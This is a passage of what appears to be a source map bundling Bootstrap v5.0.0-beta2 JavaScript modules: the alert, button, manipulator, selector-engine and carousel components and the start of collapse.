'[data-bs-dismiss=\"alert\"]'\n\nconst EVENT_CLOSE = `close${EVENT_KEY}`\nconst EVENT_CLOSED = `closed${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_ALERT = 'alert'\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Alert extends BaseComponent {\n // Getters\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n // Public\n\n close(element) {\n const rootElement = element ? this._getRootElement(element) : this._element\n const customEvent = this._triggerCloseEvent(rootElement)\n\n if (customEvent === null || customEvent.defaultPrevented) {\n return\n }\n\n this._removeElement(rootElement)\n }\n\n // Private\n\n _getRootElement(element) {\n return getElementFromSelector(element) || element.closest(`.${CLASS_NAME_ALERT}`)\n }\n\n _triggerCloseEvent(element) {\n return EventHandler.trigger(element, EVENT_CLOSE)\n }\n\n _removeElement(element) {\n element.classList.remove(CLASS_NAME_SHOW)\n\n if (!element.classList.contains(CLASS_NAME_FADE)) {\n this._destroyElement(element)\n return\n }\n\n const transitionDuration = getTransitionDurationFromElement(element)\n\n EventHandler.one(element, 'transitionend', () => this._destroyElement(element))\n emulateTransitionEnd(element, transitionDuration)\n }\n\n _destroyElement(element) {\n if (element.parentNode) {\n element.parentNode.removeChild(element)\n }\n\n EventHandler.trigger(element, EVENT_CLOSED)\n }\n\n // Static\n\n static jQueryInterface(config) {\n return this.each(function () {\n let data = Data.getData(this, DATA_KEY)\n\n if (!data) {\n data = new Alert(this)\n }\n\n if (config === 'close') {\n data[config](this)\n }\n })\n }\n\n static handleDismiss(alertInstance) {\n return function (event) {\n if (event) {\n event.preventDefault()\n }\n\n alertInstance.close(this)\n }\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DISMISS, Alert.handleDismiss(new Alert()))\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Alert to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Alert)\n\nexport default Alert\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport { defineJQueryPlugin } from './util/index'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'button'\nconst DATA_KEY = 'bs.button'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst CLASS_NAME_ACTIVE = 'active'\n\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"button\"]'\n\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Button extends BaseComponent {\n // Getters\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n // Public\n\n toggle() {\n // Toggle class and sync the `aria-pressed` attribute with the return value of the `.toggle()` method\n this._element.setAttribute('aria-pressed', this._element.classList.toggle(CLASS_NAME_ACTIVE))\n }\n\n // Static\n\n static jQueryInterface(config) {\n return this.each(function () {\n let data = Data.getData(this, DATA_KEY)\n\n if (!data) {\n data = new Button(this)\n }\n\n if (config === 'toggle') {\n data[config]()\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, event => {\n event.preventDefault()\n\n const button = event.target.closest(SELECTOR_DATA_TOGGLE)\n\n let data = Data.getData(button, DATA_KEY)\n if (!data) {\n data = new Button(button)\n }\n\n data.toggle()\n})\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Button to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Button)\n\nexport default Button\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): dom/manipulator.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nfunction normalizeData(val) {\n if (val === 'true') {\n return true\n }\n\n if (val === 'false') {\n return false\n }\n\n if (val === Number(val).toString()) {\n return Number(val)\n }\n\n if (val === '' || val === 'null') {\n return null\n }\n\n return val\n}\n\nfunction normalizeDataKey(key) {\n return key.replace(/[A-Z]/g, chr => `-${chr.toLowerCase()}`)\n}\n\nconst Manipulator = {\n setDataAttribute(element, key, value) {\n element.setAttribute(`data-bs-${normalizeDataKey(key)}`, value)\n },\n\n removeDataAttribute(element, key) {\n element.removeAttribute(`data-bs-${normalizeDataKey(key)}`)\n },\n\n getDataAttributes(element) {\n if (!element) {\n return {}\n }\n\n const attributes = {}\n\n Object.keys(element.dataset)\n .filter(key => key.startsWith('bs'))\n .forEach(key => {\n let pureKey = key.replace(/^bs/, '')\n pureKey = pureKey.charAt(0).toLowerCase() + pureKey.slice(1, pureKey.length)\n attributes[pureKey] = normalizeData(element.dataset[key])\n })\n\n return attributes\n },\n\n getDataAttribute(element, key) {\n return normalizeData(element.getAttribute(`data-bs-${normalizeDataKey(key)}`))\n },\n\n offset(element) {\n const rect = element.getBoundingClientRect()\n\n return {\n top: rect.top + document.body.scrollTop,\n left: rect.left + document.body.scrollLeft\n }\n },\n\n position(element) {\n return {\n top: element.offsetTop,\n left: element.offsetLeft\n }\n }\n}\n\nexport default Manipulator\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): dom/selector-engine.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NODE_TEXT = 3\n\nconst SelectorEngine = {\n find(selector, element = document.documentElement) {\n return [].concat(...Element.prototype.querySelectorAll.call(element, selector))\n },\n\n findOne(selector, element = document.documentElement) {\n return Element.prototype.querySelector.call(element, selector)\n },\n\n children(element, selector) {\n return [].concat(...element.children)\n .filter(child => child.matches(selector))\n },\n\n parents(element, selector) {\n const parents = []\n\n let ancestor = element.parentNode\n\n while (ancestor && ancestor.nodeType === Node.ELEMENT_NODE && ancestor.nodeType !== NODE_TEXT) {\n if (ancestor.matches(selector)) {\n parents.push(ancestor)\n }\n\n ancestor = ancestor.parentNode\n }\n\n return parents\n },\n\n prev(element, selector) {\n let previous = element.previousElementSibling\n\n while (previous) {\n if (previous.matches(selector)) {\n return [previous]\n }\n\n previous = previous.previousElementSibling\n }\n\n return []\n },\n\n next(element, selector) {\n let next = element.nextElementSibling\n\n while (next) {\n if (next.matches(selector)) {\n return [next]\n }\n\n next = next.nextElementSibling\n }\n\n return []\n }\n}\n\nexport default SelectorEngine\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n emulateTransitionEnd,\n getElementFromSelector,\n getTransitionDurationFromElement,\n isVisible,\n isRTL,\n reflow,\n triggerTransitionEnd,\n typeCheckConfig\n} from './util/index'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'carousel'\nconst DATA_KEY = 'bs.carousel'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst ARROW_LEFT_KEY = 'ArrowLeft'\nconst ARROW_RIGHT_KEY = 'ArrowRight'\nconst TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\nconst SWIPE_THRESHOLD = 40\n\nconst Default = {\n interval: 5000,\n keyboard: true,\n slide: false,\n pause: 'hover',\n wrap: true,\n touch: true\n}\n\nconst DefaultType = {\n interval: '(number|boolean)',\n keyboard: 'boolean',\n slide: '(boolean|string)',\n pause: '(string|boolean)',\n wrap: 'boolean',\n touch: 'boolean'\n}\n\nconst DIRECTION_NEXT = 'next'\nconst DIRECTION_PREV = 'prev'\nconst DIRECTION_LEFT = 'left'\nconst DIRECTION_RIGHT = 'right'\n\nconst EVENT_SLIDE = `slide${EVENT_KEY}`\nconst EVENT_SLID = `slid${EVENT_KEY}`\nconst EVENT_KEYDOWN = `keydown${EVENT_KEY}`\nconst EVENT_MOUSEENTER = `mouseenter${EVENT_KEY}`\nconst EVENT_MOUSELEAVE = `mouseleave${EVENT_KEY}`\nconst EVENT_TOUCHSTART = `touchstart${EVENT_KEY}`\nconst EVENT_TOUCHMOVE = `touchmove${EVENT_KEY}`\nconst EVENT_TOUCHEND = `touchend${EVENT_KEY}`\nconst EVENT_POINTERDOWN = `pointerdown${EVENT_KEY}`\nconst EVENT_POINTERUP = `pointerup${EVENT_KEY}`\nconst EVENT_DRAG_START = `dragstart${EVENT_KEY}`\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_CAROUSEL = 'carousel'\nconst CLASS_NAME_ACTIVE = 'active'\nconst CLASS_NAME_SLIDE = 'slide'\nconst CLASS_NAME_END = 'carousel-item-end'\nconst CLASS_NAME_START = 'carousel-item-start'\nconst CLASS_NAME_NEXT = 'carousel-item-next'\nconst CLASS_NAME_PREV = 'carousel-item-prev'\nconst CLASS_NAME_POINTER_EVENT = 'pointer-event'\n\nconst SELECTOR_ACTIVE = '.active'\nconst SELECTOR_ACTIVE_ITEM = '.active.carousel-item'\nconst SELECTOR_ITEM = '.carousel-item'\nconst SELECTOR_ITEM_IMG = '.carousel-item img'\nconst SELECTOR_NEXT_PREV = '.carousel-item-next, .carousel-item-prev'\nconst SELECTOR_INDICATORS = '.carousel-indicators'\nconst SELECTOR_INDICATOR = '[data-bs-target]'\nconst SELECTOR_DATA_SLIDE = '[data-bs-slide], [data-bs-slide-to]'\nconst SELECTOR_DATA_RIDE = '[data-bs-ride=\"carousel\"]'\n\nconst POINTER_TYPE_TOUCH = 'touch'\nconst POINTER_TYPE_PEN = 'pen'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\nclass Carousel extends BaseComponent {\n constructor(element, config) {\n super(element)\n\n this._items = null\n this._interval = null\n this._activeElement = null\n this._isPaused = false\n this._isSliding = false\n this.touchTimeout = null\n this.touchStartX = 0\n this.touchDeltaX = 0\n\n this._config = this._getConfig(config)\n this._indicatorsElement = SelectorEngine.findOne(SELECTOR_INDICATORS, this._element)\n this._touchSupported = 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0\n this._pointerEvent = Boolean(window.PointerEvent)\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get Default() {\n return Default\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n // Public\n\n next() {\n if (!this._isSliding) {\n this._slide(DIRECTION_NEXT)\n }\n }\n\n nextWhenVisible() {\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden && isVisible(this._element)) {\n this.next()\n }\n }\n\n prev() {\n if (!this._isSliding) {\n this._slide(DIRECTION_PREV)\n }\n }\n\n pause(event) {\n if (!event) {\n this._isPaused = true\n }\n\n if (SelectorEngine.findOne(SELECTOR_NEXT_PREV, this._element)) {\n triggerTransitionEnd(this._element)\n this.cycle(true)\n }\n\n clearInterval(this._interval)\n this._interval = null\n }\n\n cycle(event) {\n if (!event) {\n this._isPaused = false\n }\n\n if (this._interval) {\n clearInterval(this._interval)\n this._interval = null\n }\n\n if (this._config && this._config.interval && !this._isPaused) {\n this._updateInterval()\n\n this._interval = setInterval(\n (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n this._config.interval\n )\n }\n }\n\n to(index) {\n this._activeElement = SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element)\n const activeIndex = this._getItemIndex(this._activeElement)\n\n if (index > this._items.length - 1 || index < 0) {\n return\n }\n\n if (this._isSliding) {\n EventHandler.one(this._element, EVENT_SLID, () => this.to(index))\n return\n }\n\n if (activeIndex === index) {\n this.pause()\n this.cycle()\n return\n }\n\n const direction = index > activeIndex ?\n DIRECTION_NEXT :\n DIRECTION_PREV\n\n this._slide(direction, this._items[index])\n }\n\n dispose() {\n super.dispose()\n EventHandler.off(this._element, EVENT_KEY)\n\n this._items = null\n this._config = null\n this._interval = null\n this._isPaused = null\n this._isSliding = null\n this._activeElement = null\n this._indicatorsElement = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _handleSwipe() {\n const absDeltax = Math.abs(this.touchDeltaX)\n\n if (absDeltax <= SWIPE_THRESHOLD) {\n return\n }\n\n const direction = absDeltax / this.touchDeltaX\n\n this.touchDeltaX = 0\n\n // swipe left\n if (direction > 0) {\n if (isRTL) {\n this.next()\n } else {\n this.prev()\n }\n }\n\n // swipe right\n if (direction < 0) {\n if (isRTL) {\n this.prev()\n } else {\n this.next()\n }\n }\n }\n\n _addEventListeners() {\n if (this._config.keyboard) {\n EventHandler.on(this._element, EVENT_KEYDOWN, event => this._keydown(event))\n }\n\n if (this._config.pause === 'hover') {\n EventHandler.on(this._element, EVENT_MOUSEENTER, event => this.pause(event))\n EventHandler.on(this._element, EVENT_MOUSELEAVE, event => this.cycle(event))\n }\n\n if (this._config.touch && this._touchSupported) {\n this._addTouchEventListeners()\n }\n }\n\n _addTouchEventListeners() {\n const start = event => {\n if (this._pointerEvent && (event.pointerType === POINTER_TYPE_PEN || event.pointerType === POINTER_TYPE_TOUCH)) {\n this.touchStartX = event.clientX\n } else if (!this._pointerEvent) {\n this.touchStartX = event.touches[0].clientX\n }\n }\n\n const move = event => {\n // ensure swiping with one touch and not pinching\n if (event.touches && event.touches.length > 1) {\n this.touchDeltaX = 0\n } else {\n this.touchDeltaX = event.touches[0].clientX - this.touchStartX\n }\n }\n\n const end = event => {\n if (this._pointerEvent && (event.pointerType === POINTER_TYPE_PEN || event.pointerType === POINTER_TYPE_TOUCH)) {\n this.touchDeltaX = event.clientX - this.touchStartX\n }\n\n this._handleSwipe()\n if (this._config.pause === 'hover') {\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n\n this.pause()\n if (this.touchTimeout) {\n clearTimeout(this.touchTimeout)\n }\n\n this.touchTimeout = setTimeout(event => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n }\n }\n\n SelectorEngine.find(SELECTOR_ITEM_IMG, this._element).forEach(itemImg => {\n EventHandler.on(itemImg, EVENT_DRAG_START, e => e.preventDefault())\n })\n\n if (this._pointerEvent) {\n EventHandler.on(this._element, EVENT_POINTERDOWN, event => start(event))\n EventHandler.on(this._element, EVENT_POINTERUP, event => end(event))\n\n this._element.classList.add(CLASS_NAME_POINTER_EVENT)\n } else {\n EventHandler.on(this._element, EVENT_TOUCHSTART, event => start(event))\n EventHandler.on(this._element, EVENT_TOUCHMOVE, event => move(event))\n EventHandler.on(this._element, EVENT_TOUCHEND, event => end(event))\n }\n }\n\n _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return\n }\n\n if (event.key === ARROW_LEFT_KEY) {\n event.preventDefault()\n if (isRTL) {\n this.next()\n } else {\n this.prev()\n }\n } else if (event.key === ARROW_RIGHT_KEY) {\n event.preventDefault()\n if (isRTL) {\n this.prev()\n } else {\n this.next()\n }\n }\n }\n\n _getItemIndex(element) {\n this._items = element && element.parentNode ?\n SelectorEngine.find(SELECTOR_ITEM, element.parentNode) :\n []\n\n return this._items.indexOf(element)\n }\n\n _getItemByDirection(direction, activeElement) {\n const isNextDirection = direction === DIRECTION_NEXT\n const isPrevDirection = direction === DIRECTION_PREV\n const activeIndex = this._getItemIndex(activeElement)\n const lastItemIndex = this._items.length - 1\n const isGoingToWrap = (isPrevDirection && activeIndex === 0) ||\n (isNextDirection && activeIndex === lastItemIndex)\n\n if (isGoingToWrap && !this._config.wrap) {\n return activeElement\n }\n\n const delta = direction === DIRECTION_PREV ? -1 : 1\n const itemIndex = (activeIndex + delta) % this._items.length\n\n return itemIndex === -1 ?\n this._items[this._items.length - 1] :\n this._items[itemIndex]\n }\n\n _triggerSlideEvent(relatedTarget, eventDirectionName) {\n const targetIndex = this._getItemIndex(relatedTarget)\n const fromIndex = this._getItemIndex(SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element))\n\n return EventHandler.trigger(this._element, EVENT_SLIDE, {\n relatedTarget,\n direction: eventDirectionName,\n from: fromIndex,\n to: targetIndex\n })\n }\n\n _setActiveIndicatorElement(element) {\n if (this._indicatorsElement) {\n const activeIndicator = SelectorEngine.findOne(SELECTOR_ACTIVE, this._indicatorsElement)\n\n activeIndicator.classList.remove(CLASS_NAME_ACTIVE)\n activeIndicator.removeAttribute('aria-current')\n\n const indicators = SelectorEngine.find(SELECTOR_INDICATOR, this._indicatorsElement)\n\n for (let i = 0; i < indicators.length; i++) {\n if (Number.parseInt(indicators[i].getAttribute('data-bs-slide-to'), 10) === this._getItemIndex(element)) {\n indicators[i].classList.add(CLASS_NAME_ACTIVE)\n indicators[i].setAttribute('aria-current', 'true')\n break\n }\n }\n }\n }\n\n _updateInterval() {\n const element = this._activeElement || SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element)\n\n if (!element) {\n return\n }\n\n const elementInterval = Number.parseInt(element.getAttribute('data-bs-interval'), 10)\n\n if (elementInterval) {\n this._config.defaultInterval = this._config.defaultInterval || this._config.interval\n this._config.interval = elementInterval\n } else {\n this._config.interval = this._config.defaultInterval || this._config.interval\n }\n }\n\n _slide(direction, element) {\n const activeElement = SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element)\n const activeElementIndex = this._getItemIndex(activeElement)\n const nextElement = element || (activeElement && this._getItemByDirection(direction, activeElement))\n\n const nextElementIndex = this._getItemIndex(nextElement)\n const isCycling = Boolean(this._interval)\n\n const directionalClassName = direction === DIRECTION_NEXT ? CLASS_NAME_START : CLASS_NAME_END\n const orderClassName = direction === DIRECTION_NEXT ? CLASS_NAME_NEXT : CLASS_NAME_PREV\n const eventDirectionName = direction === DIRECTION_NEXT ? DIRECTION_LEFT : DIRECTION_RIGHT\n\n if (nextElement && nextElement.classList.contains(CLASS_NAME_ACTIVE)) {\n this._isSliding = false\n return\n }\n\n const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n if (slideEvent.defaultPrevented) {\n return\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n return\n }\n\n this._isSliding = true\n\n if (isCycling) {\n this.pause()\n }\n\n this._setActiveIndicatorElement(nextElement)\n this._activeElement = nextElement\n\n if (this._element.classList.contains(CLASS_NAME_SLIDE)) {\n nextElement.classList.add(orderClassName)\n\n reflow(nextElement)\n\n activeElement.classList.add(directionalClassName)\n nextElement.classList.add(directionalClassName)\n\n const transitionDuration = getTransitionDurationFromElement(activeElement)\n\n EventHandler.one(activeElement, 'transitionend', () => {\n nextElement.classList.remove(directionalClassName, orderClassName)\n nextElement.classList.add(CLASS_NAME_ACTIVE)\n\n activeElement.classList.remove(CLASS_NAME_ACTIVE, orderClassName, directionalClassName)\n\n this._isSliding = false\n\n setTimeout(() => {\n EventHandler.trigger(this._element, EVENT_SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n })\n }, 0)\n })\n\n emulateTransitionEnd(activeElement, transitionDuration)\n } else {\n activeElement.classList.remove(CLASS_NAME_ACTIVE)\n nextElement.classList.add(CLASS_NAME_ACTIVE)\n\n this._isSliding = false\n EventHandler.trigger(this._element, EVENT_SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n })\n }\n\n if (isCycling) {\n this.cycle()\n }\n }\n\n // Static\n\n static carouselInterface(element, config) {\n let data = Data.getData(element, DATA_KEY)\n let _config = {\n ...Default,\n ...Manipulator.getDataAttributes(element)\n }\n\n if (typeof config === 'object') {\n _config = {\n ..._config,\n ...config\n }\n }\n\n const action = typeof config === 'string' ? config : _config.slide\n\n if (!data) {\n data = new Carousel(element, _config)\n }\n\n if (typeof config === 'number') {\n data.to(config)\n } else if (typeof action === 'string') {\n if (typeof data[action] === 'undefined') {\n throw new TypeError(`No method named \"${action}\"`)\n }\n\n data[action]()\n } else if (_config.interval && _config.ride) {\n data.pause()\n data.cycle()\n }\n }\n\n static jQueryInterface(config) {\n return this.each(function () {\n Carousel.carouselInterface(this, config)\n })\n }\n\n static dataApiClickHandler(event) {\n const target = getElementFromSelector(this)\n\n if (!target || !target.classList.contains(CLASS_NAME_CAROUSEL)) {\n return\n }\n\n const config = {\n ...Manipulator.getDataAttributes(target),\n ...Manipulator.getDataAttributes(this)\n }\n const slideIndex = this.getAttribute('data-bs-slide-to')\n\n if (slideIndex) {\n config.interval = false\n }\n\n Carousel.carouselInterface(target, config)\n\n if (slideIndex) {\n Data.getData(target, DATA_KEY).to(slideIndex)\n }\n\n event.preventDefault()\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_SLIDE, Carousel.dataApiClickHandler)\n\nEventHandler.on(window, EVENT_LOAD_DATA_API, () => {\n const carousels = SelectorEngine.find(SELECTOR_DATA_RIDE)\n\n for (let i = 0, len = carousels.length; i < len; i++) {\n Carousel.carouselInterface(carousels[i], Data.getData(carousels[i], DATA_KEY))\n }\n})\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Carousel to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Carousel)\n\nexport default Carousel\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v5.0.0-beta2): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport {\n defineJQueryPlugin,\n emulateTransitionEnd,\n getSelectorFromElement,\n getElementFromSelector,\n getTransitionDurationFromElement,\n isElement,\n reflow,\n typeCheckConfig\n} from './util/index'\nimport Data from './dom/data'\nimport EventHandler from './dom/event-handler'\nimport Manipulator from './dom/manipulator'\nimport SelectorEngine from './dom/selector-engine'\nimport BaseComponent from './base-component'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'collapse'\nconst DATA_KEY = 'bs.collapse'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\n\nconst Default = {\n toggle: true,\n parent: ''\n}\n\nconst DefaultType = {\n toggle: 'boolean',\n parent: '(string|element)'\n}\n\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_COLLAPSE = 'collapse'\nconst CLASS_NAME_COLLAPSING = 'collapsing'\nconst CLASS_NAME_COLLAPSED = 'collapsed'\n\nconst WIDTH = 'width'\nconst HEIGHT = 'height'\n\nconst SELECTOR_ACTIVES = '.show, .collapsing'\nconst SELECTOR_DATA_TOGGLE = '[data-bs-toggle=\"collapse\"]'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Collapse extends BaseComponent {\n constructor(element, config) {\n super(element)\n\n this._isTransitioning = false\n this._config = this._getConfig(config)\n this._triggerArray = SelectorEngine.find(\n `${SELECTOR_DATA_TOGGLE}[href=\"#${element.id}\"],` +\n `${SELECTOR_DATA_TOGGLE}[data-bs-target=\"#${element.id}\"]`\n )\n\n const toggleList = SelectorEngine.find(SELECTOR_DATA_TOGGLE)\n\n for (let i = 0, len = toggleList.length; i < len; i++) {\n const elem = toggleList[i]\n const selector = getSelectorFromElement(elem)\n const filterElement = SelectorEngine.find(selector)\n .filter(foundElem => foundElem === element)\n\n if (selector !== null && filterElement.length) {\n this._selector = selector\n this._triggerArray.push(elem)\n }\n }\n\n this._parent = this._config.parent ? this._getParent() : null\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n }\n\n if (this._config.toggle) {\n this.toggle()\n }\n }\n\n // Getters\n\n static get Default() {\n return Default\n }\n\n static get DATA_KEY() {\n return DATA_KEY\n }\n\n // Public\n\n toggle() {\n if (this._element.classList.contains(CLASS_NAME_SHOW)) {\n this.hide()\n } else {\n this.show()\n }\n }\n\n show() {\n if (this._isTransitioning || this._element.classList.contains(CLASS_NAME_SHOW)) {\n return\n }\n\n let actives\n let activesData\n\n if (this._parent) {\n actives = SelectorEngine.find(SELECTOR_ACTIVES, this._parent)\n .filter(elem => {\n if (typeof this._config.parent === 'string') {\n return elem.getAttribute('data-bs-parent') === this._config.parent\n }\n\n return elem.classList.contains(CLASS_NAME_COLLAPSE)\n })\n\n if (actives.length === 0) {\n actives = null\n }\n }\n\n const container = SelectorEngine.findOne(this._selector)\n if (actives) {\n const tempActiveData = actives.find(elem => container !== elem)\n activesData = tempActiveData ? Data.getData(tempActiveData, DATA_KEY) : null\n\n if (activesData && activesData._isTransitioning) {\n return\n }\n }\n\n const startEvent = EventHandler.trigger(this._element, EVENT_SHOW)\n if (startEvent.defaultPrevented) {\n return\n }\n\n if (actives) {\n actives.forEach(elemActive => {\n if (container !== elemActive) {\n Collapse.collapseInterface(elemActive, 'hide')\n }\n\n if (!activesData) {\n Data.setData(elemActive, DATA_KEY, null)\n }\n })\n }\n\n const dimension = this._getDimension()\n\n this._element.classList.remove(CLASS_NAME_COLLAPSE)\n this._element.classList.add(CLASS_NAME_COLLAPSING)\n\n this._element.style[dimension] = 0\n\n if (this._triggerArray.length) {\n this._triggerArray.forEach(element => {\n element.classList.remove(CLASS_NAME_COLLAPSED)\n element.setAttribute('aria-expanded', true)\n })\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n this._element.classList.remove(CLASS_NAME_COLLAPSING)\n this._element.classList.add(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW)\n\n this._element.style[dimension] = ''\n\n this.setTransitioning(false)\n\n EventHandler.trigger(this._element, EVENT_SHOWN)\n }\n\n const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n const scrollSize = `scroll${capitalizedDimension}`\n const transitionDuration = getTransitionDurationFromElement(this._element)\n\n EventHandler.one(this._element, 'transitionend', complete)\n\n emulateTransitionEnd(this._element, transitionDuration)\n this._element.style[dimension] = `${this._element[scrollSize]}px`\n }\n\n hide() {\n if (this._isTransitioning || !this._element.classList.contains(CLASS_NAME_SHOW)) {\n return\n }\n\n const startEvent = EventHandler.trigger(this._element, EVENT_HIDE)\n if (startEvent.defaultPrevented) {\n return\n }\n\n const dimension = this._getDimension()\n\n this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n reflow(this._element)\n\n this._element.classList.add(CLASS_NAME_COLLAPSING)\n this._element.classList.remove(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW)\n\n const triggerArrayLength = this._triggerArray.length\n if (triggerArrayLength > 0) {\n for (let i = 0; i < triggerArrayLength; i++) {\n const trigger = this._triggerArray[i]\n const elem = getElementFromSelector(trigger)\n\n if (elem && !elem.classList.contains(CLASS_NAME_SHOW)) {\n trigger.classList.add(CLASS_NAME_COLLAPSED)\n trigger.setAttribute('aria-expanded', false)\n }\n }\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n this.setTransitioning(false)\n this._element.classList.remove(CLASS_NAME_COLLAPSING)\n this._element.classList.add(CLASS_NAME_COLLAPSE)\n EventHandler.trigger(this._element, EVENT_HIDDEN)\n }\n\n this._element.style[dimension] = ''\n const transitionDuration = getTransitionDurationFromElement(this._element)\n\n EventHandler.one(this._element, 'transitionend', complete)\n emulateTransitionEnd(this._element, transitionDuration)\n }\n\n setTransitioning(isTransitioning) {\n this._isTransitioning = isTransitioning\n }\n\n dispose() {\n super.dispose()\n this._config = null\n this._parent = null\n this._triggerArray = null\n this._isTransitioning = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n config.toggle = Boolean(config.toggle) // Coerce string values\n typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _getDimension() {\n return this._element.classList.contains(WIDTH) ? WIDTH : HEIGHT\n }\n\n _getParent() {\n let { parent } = this._config\n\n if (isElement(parent)) {\n // it's a jQuery object\n if (typeof parent.jquery !== 'undefined' || 